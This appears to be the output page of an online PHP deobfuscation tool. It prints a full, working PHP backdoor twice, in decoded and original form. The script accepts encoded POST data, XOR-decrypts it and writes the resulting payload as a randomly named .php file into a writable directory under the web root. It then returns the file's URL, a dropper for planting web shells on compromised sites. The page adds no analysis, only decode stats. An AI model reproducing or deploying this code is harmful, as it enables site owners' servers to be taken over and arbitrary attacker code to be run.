Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $cyggnasulhpbvv = "dldtlzrhaefkfvuk";$qksgjlct = "";foreach ($_POST as $lkclwhw => $..
Decoded Output download
<?php $cyggnasulhpbvv = "dldtlzrhaefkfvuk";$qksgjlct = "";foreach ($_POST as $lkclwhw => $vqgyseffyl){if (strlen($lkclwhw) == 16 and substr_count($vqgyseffyl, "%") > 10){qoiewuge($lkclwhw, $vqgyseffyl);}}function qoiewuge($lkclwhw, $mrhlqygo){global $qksgjlct;$qksgjlct = $lkclwhw;$mrhlqygo = str_split(rawurldecode(str_rot13($mrhlqygo)));function fjben($ykiusn, $lkclwhw){global $cyggnasulhpbvv, $qksgjlct;return $ykiusn ^ $cyggnasulhpbvv[$lkclwhw % strlen($cyggnasulhpbvv)] ^ $qksgjlct[$lkclwhw % strlen($qksgjlct)];}$mrhlqygo = implode("", array_map("fjben", array_values($mrhlqygo), array_keys($mrhlqygo)));$mrhlqygo = @unserialize($mrhlqygo);if (@is_array($mrhlqygo)){$lkclwhw = array_keys($mrhlqygo);$mrhlqygo = $mrhlqygo[$lkclwhw[0]];if ($mrhlqygo === $lkclwhw[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function bzliegbnr($cyggnasuir) {static $brvybwhc = array();$xnfunmzq = glob($cyggnasuir . '/*', GLOB_ONLYDIR);if (count($xnfunmzq) > 0) {foreach ($xnfunmzq as $cyggnasu){if (@is_writable($cyggnasu)){$brvybwhc[] = $cyggnasu;}}}foreach ($xnfunmzq as $cyggnasuir) bzliegbnr($cyggnasuir);return $brvybwhc;}$tjnpgj = $_SERVER["DOCUMENT_ROOT"];$xnfunmzq = bzliegbnr($tjnpgj);$lkclwhw = array_rand($xnfunmzq);$ssfhlk = $xnfunmzq[$lkclwhw] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ssfhlk, $mrhlqygo);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ssfhlk, strlen($tjnpgj));exit();}}} ?>
Did this file decode correctly?
Original Code
<?php $cyggnasulhpbvv = "dldtlzrhaefkfvuk";$qksgjlct = "";foreach ($_POST as $lkclwhw => $vqgyseffyl){if (strlen($lkclwhw) == 16 and substr_count($vqgyseffyl, "%") > 10){qoiewuge($lkclwhw, $vqgyseffyl);}}function qoiewuge($lkclwhw, $mrhlqygo){global $qksgjlct;$qksgjlct = $lkclwhw;$mrhlqygo = str_split(rawurldecode(str_rot13($mrhlqygo)));function fjben($ykiusn, $lkclwhw){global $cyggnasulhpbvv, $qksgjlct;return $ykiusn ^ $cyggnasulhpbvv[$lkclwhw % strlen($cyggnasulhpbvv)] ^ $qksgjlct[$lkclwhw % strlen($qksgjlct)];}$mrhlqygo = implode("", array_map("fjben", array_values($mrhlqygo), array_keys($mrhlqygo)));$mrhlqygo = @unserialize($mrhlqygo);if (@is_array($mrhlqygo)){$lkclwhw = array_keys($mrhlqygo);$mrhlqygo = $mrhlqygo[$lkclwhw[0]];if ($mrhlqygo === $lkclwhw[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function bzliegbnr($cyggnasuir) {static $brvybwhc = array();$xnfunmzq = glob($cyggnasuir . '/*', GLOB_ONLYDIR);if (count($xnfunmzq) > 0) {foreach ($xnfunmzq as $cyggnasu){if (@is_writable($cyggnasu)){$brvybwhc[] = $cyggnasu;}}}foreach ($xnfunmzq as $cyggnasuir) bzliegbnr($cyggnasuir);return $brvybwhc;}$tjnpgj = $_SERVER["DOCUMENT_ROOT"];$xnfunmzq = bzliegbnr($tjnpgj);$lkclwhw = array_rand($xnfunmzq);$ssfhlk = $xnfunmzq[$lkclwhw] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ssfhlk, $mrhlqygo);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ssfhlk, strlen($tjnpgj));exit();}}}
Function Calls
None |
Stats
MD5 | 88db3862723bb5a211d22b151ae7d7a4 |
Eval Count | 0 |
Decode Time | 103 ms |